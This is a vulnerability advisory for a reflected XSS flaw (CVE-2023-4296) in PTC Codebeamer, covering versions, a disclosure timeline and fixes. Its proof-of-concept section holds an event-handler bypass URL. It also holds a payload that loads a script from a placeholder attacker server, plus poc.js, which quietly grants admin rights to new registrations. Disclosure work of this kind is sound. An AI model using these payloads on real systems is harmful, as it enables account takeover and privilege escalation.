Reflected Cross-Site Scripting (XSS) in Codebeamer (ALM Solution) by PTC

Title

Reflected Cross-Site Scripting (XSS)

Product

PTC - Codebeamer (ALM Solution)

Vulnerable Version

<=22.10-SP7, <=22.04-SP5, <=21.09-SP13

Fixed Version

>=22.10-SP8, >=22.04-SP6, >=21.09-SP14

CVE Number

CVE-2023-4296

Impact

high

Found

14.04.2023

By

Niklas Schilling (Office Munich) | SEC Consult Vulnerability Lab

By exploiting the identified reflected XSS vulnerability in the ALM software Codebeamer by PTC, unauthorized attackers can execute arbitrary JavaScript code in the victim's browser in the context of the attacked website. If an admin of the application falls victim to this vulnerability, settings can automatically be changed to give newly registered users admin privileges in the application.

Vendor description

"Codebeamer offers unique digital workflows that help your teams improve development collaboration, product line development efficiency, and regulatory compliance. Codebeamer's open platform extends application lifecycle management
functionalities with product line configuration capabilities, and provides unique configurability for complex processes. Connect all development tools to give your teams a single development platform. You can also easily adapt the solution to specific development needs and automate process control for regulatory compliance."

Source: https://www.ptc.com/en/products/codebeamer

Business recommendation

SEC Consult recommends PTC customers to install the latest updates. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues.

Vulnerability overview/description

1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)

The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack. It successfully sanitizes malicious HTML tags such as <script> and various JavaScript events like "onload" or "onerror" that can be used to execute arbitrary
JavaScript code when a certain event occurs. However, it was possible to bypass these restrictions, allowing an attacker to inject arbitrary JavaScript code which will be executed in the victim's browser upon clicking on a malicious link.

Proof of concept

By request of a CERT we are not publishing a working PoC at this point to allow sufficient time for affected parties to patch the vulnerability.

Edit 2023-10-23: POC has been included again.

1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)

To verify this vulnerability, it is sufficient to open the following URL as an unauthenticated user in a web browser:

https:// <CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)>

When a user now moves the cursor anywhere on the Error Page, the "onpointermove" event triggers, resulting in the execution of the alert() function. To further demonstrate the criticality of this vulnerability, the following XSS payload can be used:

https:// <CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove =
"if(!document.getElementById('SEC1337')){window.x=document.createElement('script');
window.x.id='SEC1337';window.x.src ='https:// <ATTACKER_SERVER>/poc.js';
document.body.appendChild(window.x);}"></html>

Note that the space before the equal sign in window.x.src ='https:// <ATTACKER_SERVER>/poc.js' is mandatory, as this section of the payload would otherwise be truncated to window.x. by the application, completely removing the URL of the attacker server.

When an admin user now clicks on this malicious link, an external JavaScript file will be loaded (poc.js), which can be found below. The included JavaScript code creates a hidden iframe which loads the page with the User Registration settings. This page allows to specify, whether newly registered accounts should get assigned to a certain group via multiple checkboxes to choose from. The script now automatically selects the checkbox "System Administrator", resulting in newly registered accounts having admin privileges in the application. As this attack takes place in a hidden iframe, the victim doesn't get any visual feedback that the attack is happening.

Attack Sequence:

  1. Send the malicious link to an administrator.
  2. Wait for the administrator to click on the malicious link.
  3. Register a new account with automatic admin privileges.

Content of poc.js:

frame = document.createElement("iframe");
frame.addEventListener("load", function() {
    setTimeout(function(){
            frame.contentDocument.getElementById("roles1").click();
            frame.contentDocument.getElementById("notificationFrom").value = "example@sec-consult.com";
            frame.contentDocument.getElementById("notificationAddress").value = "example@sec-consult.com";
            frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click();
    }, 2000)
});
frame.src = "http:// <CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr";
frame.style="position: absolute;width:0;height:0;border:0;";
document.body.append(frame);

 

Vulnerable / tested versions

The following Codebeamer versions are affected by this vulnerability:

  • <=22.10-SP7, <=22.04-SP5, <=21.09-SP13

Vendor contact timeline

2023-06-05 Sending the advisory to cvd@ptc.com
2023-06-05 Vendor confirms receipt of advisory.
2023-06-16 Vendor confirms vulnerability and mentions a fix in version "22.10-SP6".
2023-06-19 Informing the vendor that version "22.10-SP6" is still vulnerable.
2023-06-21 Vendor confirms that the vulnerability still exists in version "22.10-SP6" and that it's actually fixed in version "22.10-SP7". Furthermore, vendor asks if we're fine with a public disclosure via CISA.
2023-06-22 Informing vendor that public disclosure via CISA is fine.
2023-06-22 Vendor mentions that he contacts CISA and that he keeps us in loop.
2023-07-14 Asking vendor for a status update regarding CISA.
2023-07-14 Vendor requests access to CISA VINCE for a public disclosure.
2023-07-14 Access granted to CISA VINCE.
2023-08-01 Date of public disclosure set to 2023-08-29.
2023-08-29 Coordinated advisory release.
2023-10-23 Added proof of concept material and published POC video.

Solution

  • Update version "22.10-X" to "22.10-SP8" or later.
  • Update version "22.04-X" to "22.04-SP6" or later.
  • Update version "21.09-X" to "21.09-SP14" or later.

The following URL was provided by the vendor with additional remediation information: https://codebeamer.com/cb/wiki/31346480

Workaround

No workaround available. 

Advisory URL

https://sec-consult.com/vulnerability-lab/

 

EOF N. Schilling / @2023

 

Interested to work with the experts of SEC Consult? Send us your application

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices